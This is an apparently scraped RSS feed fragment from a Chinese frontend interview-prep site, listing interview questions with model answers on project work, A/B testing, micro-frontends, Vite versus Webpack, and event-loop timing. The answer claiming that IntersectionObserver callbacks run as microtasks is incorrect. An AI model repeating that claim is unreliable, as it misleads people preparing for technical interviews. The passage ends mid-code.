&lt;p&gt;我之前在一家电商公司实习，主要负责一个名为&amp;quot;智能商品推荐系统&amp;quot;的项目。该项目的业务背景是，随着电商平台商品数量的激增，用户在海量商品中找到心仪商品变得越来越困难，导致用户体验下降，同时也影响了平台的转化率和GMV。为了解决这一痛点，我们团队着手开发智能推荐系统，旨在通过算法分析用户的行为数据（如浏览历史、购买记录、搜索偏好等），结合商品自身的属性，为用户提供个性化、精准的商品推荐，从而提升用户的购物效率和满意度。&lt;/p&gt;
&lt;p&gt;在这个项目中，我的主要职责是负责推荐结果的前端展示和交互优化。具体来说，我参与了推荐模块的UI设计与实现，确保推荐流的加载流畅性，并针对不同场景（如首页推荐、详情页关联推荐、购物车推荐等）进行了布局和样式的适配。此外，我还负责埋点方案的实施，以便后续对推荐效果进行数据分析和A/B测试。通过这个项目，我们发现精准推荐能够显著提高用户的点击率和转化率，帮助平台更好地匹配用户需求与商品供给，最终促进了业务增长。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-538edfd73d5f"&gt;2. 假如你是一个项目的负责人，面对一个新需求你会如何判断以及决策？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;● 该题是主观型问题，不设&amp;quot;唯一标准答案&amp;quot;。
● 面试官主要考察答题者在项目管理、需求分析、风险评估和决策制定方面的系统性思维和实践能力。
● 建议的答题结构是：首先明确需求分析的步骤，接着说明决策制定的考量因素，最后强调风险管理与团队协作。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="高质量参考范文-1"&gt;高质量参考范文：&lt;/h5&gt;
&lt;p&gt;作为项目的负责人，面对新需求时，我会采取一个结构化的判断和决策流程。首先，我会进行深入的&lt;strong&gt;需求分析和理解&lt;/strong&gt;。这包括与产品经理、业务方进行充分沟通，明确需求的来源、业务目标、用户价值和预期效果，同时也会收集用户反馈和市场数据进行辅助验证，确保我们对需求有全面的认知，而不是停留在表面。我会问自己几个关键问题：这个需求解决什么问题？能带来多大的业务价值？目标用户是谁？&lt;/p&gt;
&lt;p&gt;其次，我会进行&lt;strong&gt;可行性评估和方案设计&lt;/strong&gt;。从技术角度，我会组织技术团队评估实现方案的技术难度、所需资源（人力、时间、技术栈）、潜在风险以及对现有系统的影响。同时，我也会考虑多种技术方案，并对比它们的优劣，力求选择一个既能满足需求又具备良好扩展性和维护性的方案。在这个阶段，我会与团队成员进行充分讨论，集思广益。&lt;/p&gt;
&lt;p&gt;接着是&lt;strong&gt;优先级排序和决策制定&lt;/strong&gt;。在资源有限的情况下，我会根据需求的业务价值、技术复杂度、风险高低以及与其他需求的关联性进行综合评估，制定优先级。我会与产品、运营等相关方进行协商，达成一致的优先级共识，并最终确定新需求的上线计划和资源投入。例如，我们会将需求划分为&amp;quot;必须有&amp;quot;、&amp;ldquo;应该有&amp;rdquo;、&amp;ldquo;可以有&amp;quot;等层级，确保核心价值的优先实现。在整个过程中，我会持续关注风险管理，提前识别潜在的技术或业务风险，并制定相应的预案，确保项目能够顺利推进。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-357a219af7be"&gt;3. 功能上线后如何判断这个功能上线前后的影响和优化有多少呢？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;● 该题是主观型问题，不设&amp;quot;唯一标准答案&amp;rdquo;。
● 面试官主要考察答题者对数据分析、效果评估、用户反馈和持续优化闭环的理解与实践能力。
● 建议的答题结构是：首先说明数据指标的定义与埋点，接着阐述A/B测试的重要性，最后强调用户反馈收集和持续迭代。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="高质量参考范文-2"&gt;高质量参考范文：&lt;/h5&gt;
&lt;p&gt;功能上线后，为了准确判断其影响和优化效果，我通常会从几个维度进行综合评估。首先是&lt;strong&gt;数据指标的监控与分析&lt;/strong&gt;。在功能设计阶段，我们就会明确核心的业务指标（如点击率、转化率、留存率、DAU/MAU等）和技术指标（如页面加载速度、接口响应时间等）。功能上线前，我们会确保所有相关的用户行为和系统性能都有完善的埋点方案。上线后，通过数据分析平台（如GA、神策、友盟等）持续追踪这些指标的变化趋势。对比功能上线前后的数据，可以直观地量化功能带来的影响。&lt;/p&gt;
&lt;p&gt;其次，&lt;strong&gt;A/B测试&lt;/strong&gt;是评估功能影响最科学的方法之一。如果条件允许，我们会将新功能通过A/B测试的方式灰度上线，将用户分成对照组和实验组。对照组用户使用旧功能，实验组用户使用新功能。通过对比两组用户的核心指标数据，可以排除其他干扰因素，更准确地评估新功能带来的实际增益或负面影响。这能帮助我们判断新功能是否达到了预期目标，或者是否需要进一步优化。&lt;/p&gt;
&lt;p&gt;最后，&lt;strong&gt;用户反馈的收集与分析&lt;/strong&gt;也至关重要。我们会通过多种渠道收集用户对新功能的反馈，包括用户调研问卷、用户访谈、线上评论、客服反馈等。这些定性数据可以帮助我们理解用户在使用过程中遇到的具体问题、痛点以及他们的真实感受，从而发现数据指标无法揭示的深层问题。我们会定期复盘这些反馈，结合数据分析的结果，识别功能潜在的优化点，并将其纳入后续的产品迭代计划中，形成一个持续优化、不断提升用户体验的闭环。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-950e4ede29a8"&gt;4. 有去了解过用户反馈最多的问题或者诉求最强的问题是什么吗？&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;● 该题是主观型问题，不设&amp;quot;唯一标准答案&amp;quot;。
● 面试官出这道题主要想确认哪些知识维度？
● 考察候选人是否关注用户、理解用户痛点，并具备从用户角度思考问题的能力。
● 评估候选人是否具备主动发现问题并寻求解决方案的意识。
● 该题所考知识点中有哪些高频实际应用点？
● 用户研究与用户画像分析
● 竞品分析与行业趋势洞察
● 用户体验（UX）与产品优化&lt;/p&gt;</description></item><item><title>字节-今日头条-校招 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/round-46/</link><pubDate>Fri, 27 Jun 2025 08:02:46 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/round-46/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/round-45/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/round-47/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察前端基础知识、项目经验和算法能力。&lt;/p&gt;
&lt;p&gt;本轮共 12 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-038c546ee8da"&gt;1. 简单介绍一下你上一段实习中觉得做的比较好的项目&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;● 主观型问题，无唯一标准答案。
● 面试官主要考察你的项目理解深度、技术选型能力、问题解决能力、以及对项目成果的复盘与表达能力。
● 建议的答题结构：首先简要介绍项目背景和你的角色；接着详细阐述你在项目中负责的具体工作、遇到的挑战及如何解决；最后总结项目成果和你的收获。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我在XX公司实习期间，参与了一个内部运营效率工具的开发，其中我主导了&amp;quot;智能数据报表系统&amp;quot;的前端部分，这个项目我个人觉得做得比较好。项目背景是，之前的运营数据统计完全依赖人工手动导出和整理，效率低下且易出错。我们团队的目标是构建一个自动化、可视化的报表系统，让运营人员能够实时查看核心数据指标。&lt;/p&gt;
&lt;p&gt;我主要负责报表的可视化组件开发和数据交互逻辑。在技术选型上，我没有简单地套用现有图表库，而是深入调研了业务需求，最终选择了ECharts进行定制化开发，因为它的灵活性和丰富图表类型能很好地满足我们多样化的报表展示需求。开发过程中最大的挑战是如何处理海量数据在前端的渲染性能问题。初期我们尝试直接加载全部数据，导致页面卡顿严重。我查阅资料并与后端协商，最终采用了数据分批加载和前端数据虚拟化的方案，即只加载当前视图所需数据，并对表格和图表进行局部渲染。这不仅大幅提升了页面响应速度，也降低了后端的数据传输压力。&lt;/p&gt;
&lt;p&gt;另一个亮点是，我设计并实现了一个可配置的报表生成器。运营人员可以通过拖拽组件、配置数据源和筛选条件，自定义生成各种报表，极大地提高了他们的工作效率，也减少了开发人员的维护成本。在项目上线后，我通过用户反馈持续迭代，例如增加了数据导出功能、优化了图表联动效果，使得系统更加完善。这个项目让我深刻体会到了前端工程化和性能优化的重要性，也锻炼了我从需求分析到方案设计、再到具体实现和持续优化的全链路项目能力。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-a1b4e5301540"&gt;2. 想知道你们的项目大概是什么样的结构，你在开发的时候会从什么地方下手？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;● 主观型问题，无唯一标准答案。
● 面试官主要考察你对项目整体架构的理解、系统性思维、以及实际开发流程的把控能力。
● 建议的答题结构：首先概述项目采用的架构模式（如微前端、Monorepo、单体应用等）；接着描述核心模块的划分和技术栈；然后详细说明当你接到一个开发任务时，会从哪些方面着手分析和实现；最后可以提及一些你在开发流程中的最佳实践或思考。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我们团队负责的XX系统，其整体架构是一个典型的微前端应用。具体来说，我们采用了基于qiankun的微前端方案，将整个系统拆分为多个独立的子应用，例如用户管理、订单中心、数据分析等。每个子应用都可以独立开发、独立部署，但在主应用中进行集成和路由管理。这样的好处是，团队成员可以专注于各自的子应用开发，降低了耦合度，也便于技术栈的演进和模块的复用。&lt;/p&gt;
&lt;p&gt;当我接到一个开发任务时，通常会遵循以下步骤：&lt;/p&gt;
&lt;p&gt;首先是&lt;strong&gt;需求分析和理解&lt;/strong&gt;。我会仔细阅读需求文档，明确用户故事和业务目标，如果存在不清晰的地方，会主动与产品经理或设计师沟通，确保我对需求的理解是准确和全面的。这一步至关重要，它决定了后续开发的方向。&lt;/p&gt;
&lt;p&gt;其次是&lt;strong&gt;技术方案设计&lt;/strong&gt;。我会根据需求，结合当前项目的架构和技术栈，思考实现方案。这包括：是否需要新增组件或模块？数据流如何设计？接口如何定义？是否涉及到性能优化或兼容性问题？例如，如果是一个新功能模块，我会考虑其在微前端架构下的集成方式，以及与主应用之间的通信机制。如果涉及复杂的数据处理，我会优先考虑数据在前端的缓存策略，以及如何减少不必要的渲染。&lt;/p&gt;
&lt;p&gt;接着是&lt;strong&gt;代码实现&lt;/strong&gt;。我会根据设计好的方案，开始编写代码。我会严格遵循团队的代码规范和组件化原则，确保代码的可读性和可维护性。在实现过程中，我会注重模块的拆分和函数的封装，避免出现冗余代码。&lt;/p&gt;
&lt;p&gt;在开发过程中，我非常重视&lt;strong&gt;自测和调试&lt;/strong&gt;。我会编写单元测试和集成测试，确保自己实现的功能符合预期。如果遇到问题，会利用浏览器开发工具进行调试，分析问题原因并及时解决。此外，我也会关注代码的性能，例如使用Chrome DevTools进行性能分析，寻找优化点。&lt;/p&gt;
&lt;p&gt;最后是&lt;strong&gt;代码评审和部署&lt;/strong&gt;。在完成开发和自测后，我会提交代码进行代码评审，听取团队成员的建议，并对代码进行优化。通过评审后，会按照CI/CD流程进行部署，并在部署后关注线上监控，确保功能稳定运行。&lt;/p&gt;
&lt;p&gt;这种结构化的开发流程，使得我在面对复杂任务时能够有条不紊地进行，并能及时发现和解决问题，保障了项目的开发质量和效率。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-9aff19f25b6c"&gt;3. IntersectionObserver的事件回调是宏任务还是微任务？如何判断呢？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;● JavaScript 事件循环机制：考察对宏任务和微任务的理解，以及它们在事件循环中的执行顺序。
● 浏览器 API 原理：考察对 &lt;code&gt;IntersectionObserver&lt;/code&gt; 这一 Web API 的底层工作原理的掌握，特别是其回调函数的执行时机。
● 实际应用与判断：考察如何在实际开发中判断异步操作的类型，并理解其对程序性能和行为的影响。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h4 id="11-原理说明"&gt;1.1 原理说明&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;IntersectionObserver&lt;/code&gt; 的事件回调是&lt;strong&gt;微任务&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;宏任务 (MacroTask)&lt;/strong&gt;：包括 &lt;code&gt;script&lt;/code&gt; (整体代码)、&lt;code&gt;setTimeout&lt;/code&gt;、&lt;code&gt;setInterval&lt;/code&gt;、&lt;code&gt;setImmediate&lt;/code&gt; (Node.js 独有)、I/O、UI 渲染等。每次事件循环只会执行一个宏任务，执行完后会检查微任务队列。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;微任务 (MicroTask)&lt;/strong&gt;：包括 &lt;code&gt;Promise.then()&lt;/code&gt;/&lt;code&gt;.catch()&lt;/code&gt;/&lt;code&gt;.finally()&lt;/code&gt;、&lt;code&gt;MutationObserver&lt;/code&gt;、&lt;code&gt;process.nextTick&lt;/code&gt; (Node.js 独有)、&lt;code&gt;queueMicrotask&lt;/code&gt;。微任务在当前宏任务执行完毕后，下一个宏任务开始之前执行，且会清空所有微任务。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;IntersectionObserver&lt;/code&gt; 的回调函数被设计为微任务，是为了保证在当前帧的 DOM 更新完成之后、但浏览器渲染之前执行。这样可以确保在回调函数中进行的 DOM 操作能够及时反映在当前帧的渲染中，避免了不必要的布局抖动或视觉闪烁。&lt;/p&gt;</description></item><item><title>字节-今日头条-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/round-45/</link><pubDate>Fri, 27 Jun 2025 08:02:45 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/round-45/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/round-46/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察前端基础知识和工程化实践&lt;/p&gt;
&lt;p&gt;本轮共 19 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-1760562f8190"&gt;1. 介绍一下简历中的组件库项目&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;非唯一标准答案&lt;/strong&gt;：本题是主观型问题，没有唯一的标准答案，主要考察面试者的综合能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;考察能力&lt;/strong&gt;：面试官主要考察您的表达能力、对项目背景和技术细节的理解、解决问题的思路系统性，以及项目复盘和总结的能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;答题结构建议&lt;/strong&gt;：建议从项目背景和目的、技术选型与核心功能、遇到的挑战与解决方案、个人贡献与收获等方面展开阐述，力求条理清晰、重点突出。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="高质量参考范文"&gt;高质量参考范文：&lt;/h5&gt;
&lt;p&gt;在我的简历中，我提到了一个组件库项目，这个项目是我在实习期间为了统一团队UI规范，提升开发效率而主导或参与开发的。我们的目标是构建一套覆盖常用UI组件（如按钮、输入框、弹窗、表格等）的跨框架（或特定框架如Vue/React）的组件库，以满足业务快速迭代的需求，并保证产品界面的一致性。&lt;/p&gt;
&lt;p&gt;在技术选型上，我们选择了Vue 3 + TypeScript + Vite + Sass Modules作为核心技术栈。Vue 3 的 Composition API 帮助我们更好地组织组件逻辑，提升了组件的复用性和可维护性；TypeScript则保证了代码的类型安全，尤其是在大型项目协作中大大减少了潜在的类型错误。Vite作为构建工具，极大地提升了开发服务器的启动速度和热更新效率。在样式方面，我们采用了Sass Modules，确保了组件样式的局部作用域，避免了全局污染，同时通过Sass的变量和混入特性，提升了样式代码的可维护性。&lt;/p&gt;
&lt;p&gt;在核心功能实现上，我们关注了组件的通用性和可配置性。例如，在实现一个Select组件时，我们不仅考虑了基本选择功能，还加入了搜索过滤、多选、自定义渲染模板、异步加载选项等高级特性。每个组件都经过了详细的API设计和文档编写，确保其他开发者能够快速上手和正确使用。我们还集成了单元测试和端到端测试，以保证组件的质量和稳定性。&lt;/p&gt;
&lt;p&gt;在项目过程中，我们也遇到了一些挑战。例如，如何设计一套灵活的主题机制，使得组件库能够轻松适应不同业务线的品牌风格，我们最终通过CSS Variables和一套主题生成工具解决了这个问题。另一个挑战是性能优化，特别是大型组件（如虚拟列表的表格）的渲染性能，我们通过按需加载、虚拟滚动等技术手段，确保了组件在处理大量数据时依然保持流畅。&lt;/p&gt;
&lt;p&gt;通过这个组件库项目，我不仅深入理解了前端组件化开发的最佳实践，也锻炼了我在项目规划、技术选型、问题解决和团队协作方面的能力。我觉得最大的收获是，看到自己开发的组件被其他业务方广泛使用，并有效提升了他们的开发效率时，那种成就感是非常大的。这个项目也让我对前端工程化有了更深刻的理解，认识到标准化、自动化和高质量交付对于前端开发的重要性。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-61d0b68b7fb6"&gt;2. vite 和 webpack 有什么区别？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;构建工具的理解&lt;/strong&gt;：面试官希望了解面试者对前端构建工具的整体认知，包括它们在前端开发流程中的作用和重要性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vite与Webpack的核心差异&lt;/strong&gt;：考察面试者是否能清晰阐述两者在开发模式（Dev Server）和生产模式（Build）上的根本性区别，特别是它们处理模块依赖和启动开发服务器的方式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能优化&lt;/strong&gt;：面试官想确认面试者是否能从性能角度分析两者的优劣，特别是Vite如何利用ESM（ECMAScript Modules）和原生浏览器支持实现快速的开发体验。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术趋势&lt;/strong&gt;：考察面试者是否关注前端生态的新技术发展，并能理解新技术带来的优势和对现有工具的影响。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="11-原理说明"&gt;1.1 原理说明&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Webpack&lt;/strong&gt;：
Webpack 是一个模块打包器。在开发模式下，Webpack 会将整个应用的所有模块（JavaScript、CSS、图片等）打包成浏览器可以识别的静态资源。在启动开发服务器之前，它需要完成整个打包过程。当代码发生修改时，Webpack 会重新编译并生成新的打包文件，然后通过热模块替换（HMR）机制将更新注入到浏览器中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vite&lt;/strong&gt;：
Vite 是一种基于浏览器原生 ES Modules 的构建工具。在开发模式下，Vite 不会预先打包整个应用。它利用浏览器对 ES Modules 的原生支持，当浏览器请求某个模块时，Vite 会即时地对该模块进行转换（例如处理 TypeScript、Vue/React 单文件组件等），然后直接提供给浏览器。这极大地减少了开发服务器的启动时间和热更新的时间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心区别与联系&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;开发模式启动速度&lt;/strong&gt;：Webpack 需要先打包再启动服务，随着项目规模增大，打包时间会显著增加。Vite 则利用浏览器原生 ES Modules 按需加载，实现了&amp;quot;冷启动&amp;quot;的秒开。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;热更新（HMR）机制&lt;/strong&gt;：Webpack 的热更新通常需要重新编译被修改的模块及其依赖链。Vite 的热更新同样基于 ES Modules，当一个模块被修改时，Vite 只需要精确地替换该模块及其直接相关的部分，更新速度更快，因为不需要重新构建整个依赖图。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生产环境构建&lt;/strong&gt;：尽管开发模式下两者原理不同，但在生产环境构建时，Vite 内部仍然会使用 Rollup 进行打包，类似于 Webpack 的打包输出，以获得最佳的兼容性和性能优化（例如代码分割、Tree-shaking 等）。这意味着 Vite 在生产构建阶段也进行打包，并非完全无打包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;底层技术&lt;/strong&gt;：Webpack 依赖于自己的模块解析和打包机制，而 Vite 则深度依赖于浏览器原生的 ES Modules 特性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;为什么会出现 Vite&lt;/strong&gt;：随着前端项目日益庞大，基于打包器的开发服务器在冷启动和热更新方面的性能瓶颈日益凸显。Vite 的出现正是为了解决这一痛点，通过利用浏览器原生能力，显著提升开发效率和体验。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="12-核心用法--使用场景"&gt;1.2 核心用法 + 使用场景&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vite 的优势使用场景&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;大型项目开发&lt;/strong&gt;：对于拥有大量模块和复杂依赖的项目，Vite 的即时按需编译能够显著缩短开发服务器的启动时间和热更新响应时间，提升开发效率。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;追求极致开发体验&lt;/strong&gt;：如果你希望在开发过程中获得近乎瞬时的代码修改反馈，Vite 是一个理想的选择。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;新建项目&lt;/strong&gt;：对于新项目，Vite 提供了更现代、更快速的开发起点。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Webpack 的优势使用场景&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;老旧项目或复杂构建需求&lt;/strong&gt;：对于历史项目，或需要高度定制化构建流程（例如微前端、特殊资源处理）的项目，Webpack 成熟的生态系统和灵活的配置依然是其优势。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对浏览器兼容性有极高要求&lt;/strong&gt;：Webpack 拥有更广泛的浏览器兼容性处理能力，可以通过各种 Loader 和 Plugin 支持老旧浏览器特性。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心用法体现&lt;/strong&gt;：
无论是 Vite 还是 Webpack，它们的核心目标都是为了提供更好的开发体验和生产环境下的代码优化。Vite 通过&amp;quot;开发阶段无打包&amp;quot;的理念解决了传统打包器的性能痛点，而 Webpack 则以其强大的生态和高度可配置性，满足了各种复杂的构建需求。开发者在项目中选择使用哪种工具，通常取决于项目规模、团队熟悉度、对开发效率和生产环境性能的权衡。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="13-常见误区或面试陷阱"&gt;1.3 常见误区或面试陷阱&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;误区一：Vite 在生产环境也是无打包的。&lt;/strong&gt;
这是一个常见的误解。Vite 在开发环境利用原生 ESM 实现按需加载，确实没有预打包的步骤。但为了在生产环境中获得最佳的性能和兼容性（例如代码压缩、Tree-shaking、兼容性处理等），Vite 仍然会使用 Rollup 进行打包。面试时如果直接说 Vite 生产环境也无打包，会暴露对 Vite 工作原理理解不深。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;误区二：Vite 能够完全替代 Webpack。&lt;/strong&gt;
尽管 Vite 在许多方面表现出色，尤其是在开发体验上，但它并不能在所有场景下完全替代 Webpack。Webpack 的生态系统更加庞大和成熟，拥有更多针对特定场景的 Loader 和 Plugin，其配置灵活性也更高。例如，一些复杂的构建需求、特定的兼容性要求或集成旧技术栈时，Webpack 可能会是更稳健的选择。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;误区三：只强调速度快，不深入原理。&lt;/strong&gt;
面试官更希望听到你对 Vite 和 Webpack 底层原理的理解，而不仅仅是停留在&amp;quot;Vite 比 Webpack 快&amp;quot;的表层认知。理解它们在模块处理、HMR 实现、构建流程上的差异，并能结合实际场景分析各自的优劣，才能体现出更深入的理解。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;误区四：混淆&amp;quot;打包&amp;quot;和&amp;quot;编译/转换&amp;quot;。&lt;/strong&gt;
Vite 在开发模式下不是&amp;quot;打包&amp;quot;，而是对单个文件进行&amp;quot;编译/转换&amp;quot;以适应浏览器。而 Webpack 则是在启动服务前进行完整的&amp;quot;打包&amp;quot;过程。清晰区分这两个概念很重要。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-7babb4ebd32f"&gt;3. vite 打包可能会有什么问题呢？需要怎么处理？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vite 生产环境构建的理解&lt;/strong&gt;：考察面试者是否清楚 Vite 在开发和生产环境的不同工作机制，特别是它在生产环境如何进行打包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;常见打包问题及解决方案&lt;/strong&gt;：面试官想了解面试者是否遇到过 Vite 打包过程中可能出现的问题，以及如何诊断和解决这些问题，体现解决实际问题的能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rollup 配置的掌握&lt;/strong&gt;：由于 Vite 生产环境依赖 Rollup，面试官会关注面试者是否了解如何通过配置 Rollup 来解决特定的打包问题。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能优化与兼容性&lt;/strong&gt;：考察面试者在打包层面如何考虑应用的性能和浏览器兼容性，以及如何通过打包工具进行优化。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="11-原理说明-1"&gt;1.1 原理说明&lt;/h5&gt;
&lt;p&gt;尽管 Vite 在开发模式下以其&amp;quot;无打包&amp;quot;的理念提供极速体验，但在生产环境，它仍然需要对代码进行打包，以实现最佳的性能优化和兼容性。Vite 内部使用 &lt;a href="https://rollupjs.org/"&gt;Rollup&lt;/a&gt; 作为其生产环境的打包工具。Rollup 的优势在于其高效的 Tree-shaking（清除未使用的代码）和生成优化过的 ES Modules 捆绑包。因此，Vite 打包时可能遇到的问题，很多时候是与 Rollup 的打包特性、插件机制以及项目本身的特定需求相关的。&lt;/p&gt;</description></item><item><title>阿里-蚂蚁金服-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-34/round-42/</link><pubDate>Fri, 27 Jun 2025 06:05:39 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-34/round-42/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-34/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-34/round-43/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察校招生的基础内容&lt;/p&gt;
&lt;p&gt;本轮共 21 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-086d87101a30"&gt;1. 数组排序：实现一个函数，对包含数字和字符串的混合数组进行排序，数字在前按升序，字符串在后按字母顺序。&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;JavaScript算法。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sortMixedArray&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;sort&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;) =&amp;gt; {
